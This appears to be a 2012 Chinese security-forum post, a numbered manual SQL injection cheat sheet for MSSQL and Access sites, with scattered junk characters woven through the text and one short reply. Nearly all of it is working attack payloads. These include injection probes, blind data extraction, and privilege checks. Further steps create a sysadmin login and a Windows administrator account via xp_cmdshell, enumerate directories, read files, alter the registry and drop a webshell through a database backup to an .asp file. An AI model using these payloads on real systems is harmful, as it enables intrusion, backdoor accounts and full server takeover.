找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2933|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入
) O' f/ w/ o, V2 F1.判断是否有注入;and 1=1 ;and 1=2 0 N2 u8 D4 l, S; T; V

' R, R: k- b/ r2 N  ~$ o2.初步判断是否是mssql ;and user>0 9 x3 ~# g' H2 v: a4 \8 n# E1 j0 x
. C# N, t' I* U8 t  }
3.注入参数是字符'and [查询条件] and ''='
: D1 K8 I7 j1 ^
+ |6 Q: M9 Q& f' @+ n' m$ m9 @4.搜索时没过滤参数的'and [查询条件] and '%25'='
- o3 M! C1 Y- }+ j# e. \3 _
: N& ^- z+ u6 \. w( D( M6 z5.判断数据库系统
" h1 {5 X) }0 V6 N;and (select count(*) from sysobjects)>0 mssql 1 o7 C, y6 u4 T0 v% m6 n
;and (select count(*) from msysobjects)>0 access
8 W! n) g4 L( v; T  e. f. h- K2 K! n# R. s2 G+ i. A, ~9 @0 _0 y
6.猜数据库 ;and (select Count(*) from [数据库名])>0 6 m: \- D/ D+ V9 X

+ s5 w7 J3 A; l7.猜字段 ;and (select Count(字段名) from 数据库名)>0
  ]4 Y8 K9 I5 u# k, r6 d& p( s0 a
2 h7 Z* y( o1 F# Q) l6 w1 r8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
  E. V7 O, x& `& P- G0 l# O" O+ C8 _' D( m4 Z! l
9.(1)猜字段的ascii值(access) - ?0 B2 T+ }$ E/ N. R
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 ; @' X  ]. @  ?, n# `8 G; Y
" Z  U5 G1 A) |6 H: K
(2)猜字段的ascii值(mssql)
8 {: }, g1 Y$ ]# d6 }( B;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ; i/ m( R2 O% T! ^8 M
- L! ]% p  u  G* e6 E, h" L
10.测试权限结构(mssql)
7 o' J2 x  k3 @$ p;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- % k6 u3 R9 H2 ~. y5 L
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
& t6 g1 [+ _; k$ L7 _6 {;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- , S" _9 z3 J& P
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 8 v" N4 ~, I  [# p; y" N$ V
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ! s) k) @' w; d8 n9 j; {
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 1 D% }7 U1 E2 o, ]
;and 1=(select IS_MEMBER('db_owner'));-- 1 ~* m. Y2 W- f

: b$ {* h  n, N2 Q+ F11.添加mssql和系统的帐户 + ~. K) N1 l- q( Q, H
;exec master.dbo.sp_addlogin username;-- 5 r; M5 U( `( v0 i

0 b8 y. u% E, Z+ [3 Z2 f) \;exec master.dbo.sp_password null,username,password;-- 1 p+ `- p9 W9 V3 ^$ i# w
  Z7 h/ |# |- S( p9 U8 y) D
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
* z  S; s& Y  z1 W# h" B+ j
+ g: K; ?) H& E% N6 V  L# b3 x;exec master.dbo.xp_cmdshell 'net user username password
. q& ^3 J" I  q/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
8 z* J. B- J9 n3 M( i
! k+ z3 h5 F# M3 `) Y  K9 d;exec master.dbo.xp_cmdshell 'net user username password /add';--
6 r8 \6 J/ P* M" n! h9 @  P4 s, Z- i+ R
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
$ X0 Q( i) \* l5 x: }
$ J; t' f5 w* u& B9 t  I0 ~" }12.(1)遍历目录
4 d3 q; A2 C" p2 `8 b
$ _2 s# m: @& `& v7 E- O;create table dirs(paths varchar(100), id int) 0 @0 r/ Z7 m! n. `% ~
;insert dirs exec master.dbo.xp_dirtree 'c:\' - R9 Z9 G" t" y: ?& q
;and (select top 1 paths from dirs)>0
2 [+ N0 l3 o( F$ @;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
; [7 S1 @( J9 q) O$ y
. R7 [, \" W! c(2)遍历目录
; H: ^2 a$ ?2 k) b, ~! P# m;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- # ~' y7 U6 _- t3 Z! g4 v! @8 i
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 " |& k6 K: i; D7 m7 \
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
; w  C9 t" z( x7 a  T- @+ B;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
, @* D4 ~' ?; k% ~" @/ Y;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
( O6 w- E' X* S" d7 W  ?7 X) c& H8 J6 X$ H, d% W9 D: m) [
13.mssql中的存储过程
- {* @! V& D! j) C6 z2 j/ E  ^2 Z6 P/ E
xp_regenumvalues 注册表根键, 子键 7 g$ t& m) @! T5 l" W
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
. [+ Y$ D1 p# ^9 s8 Q- w$ V. }0 b
5 d; {% `6 }8 C* z: t+ B5 Yxp_regread 根键,子键,键值名
. m6 [9 r3 [: A& c9 _7 v4 g2 z4 V;exec xp_regread ! u+ A$ h& _+ S  R& e! t! ^
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ; k9 I& r" V3 k/ s
' j3 i( \9 [! L* K: T  |$ c
xp_regwrite 根键,子键, 值名, 值类型, 值
* e6 C. ]; y% l4 v& Y" y值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ) ^; x  x. P* P1 H/ k4 B
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
' z; d. a" l& D5 T2 i8 \4 v& z8 t: Y2 o
xp_regdeletevalue 根键,子键,值名   f' L/ {9 v, P# C. S- ~

0 c( o8 X( E) L* Y! T0 aexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 3 A: B2 P7 J- O: g) M

3 {9 k3 a1 s) D7 |) C6 P9 O, vxp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
+ B4 {7 O! ]1 [, J( Q/ d) x9 t! G$ @+ w; H9 Y
14.mssql的backup创建webshell
* C' w* d# c: ~use model
0 N, W9 ?; i( j9 }9 u; Ocreate table cmd(str image);
3 V4 _4 v; L5 @& d2 Binsert into cmd(str) values ('');
/ N6 K( Z2 s6 E2 N- dbackup database model to disk='c:\l.asp';   R, J: g7 d0 g- t
6 ^( e$ y; b4 \5 S+ b' Q9 v
15.mssql内置函数
2 ^) d/ h' |9 m9 R4 {9 E8 };and (select @@version)>0 获得Windows的版本号 2 y  y4 z: ^: I$ f  V0 x7 c" t
;and user_name()='dbo' 判断当前系统的连接用户是不是sa + ]. R7 V5 x7 g3 x( }) o
;and (select user_name())>0 爆当前系统的连接用户
) i* C4 C. e. l;and (select db_name())>0 得到当前连接的数据库
7 A9 T, }2 i- q4 `' g
, w' {) {3 b: V16.简洁的webshell
# k& J1 S! c3 n! I8 C3 V4 I. X+ O9 y4 \: Q* b1 m
use model 0 F3 V1 G/ ^1 g+ D- f) W

  j& |' Z9 S& _create table cmd(str image); 2 [1 i, k9 D# \/ p4 H- j

; `( u. Y% Y3 S# Jinsert into cmd(str) values ('');
# t9 N5 q2 p; m" ]: ^: l, m! T* C$ Y' H6 n0 U" E0 n; S
backup database model to disk='g:\wwwtest\l.asp';
1 @: ?6 A3 e) [" o % m! ^$ B( \. S0 v7 u- y
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表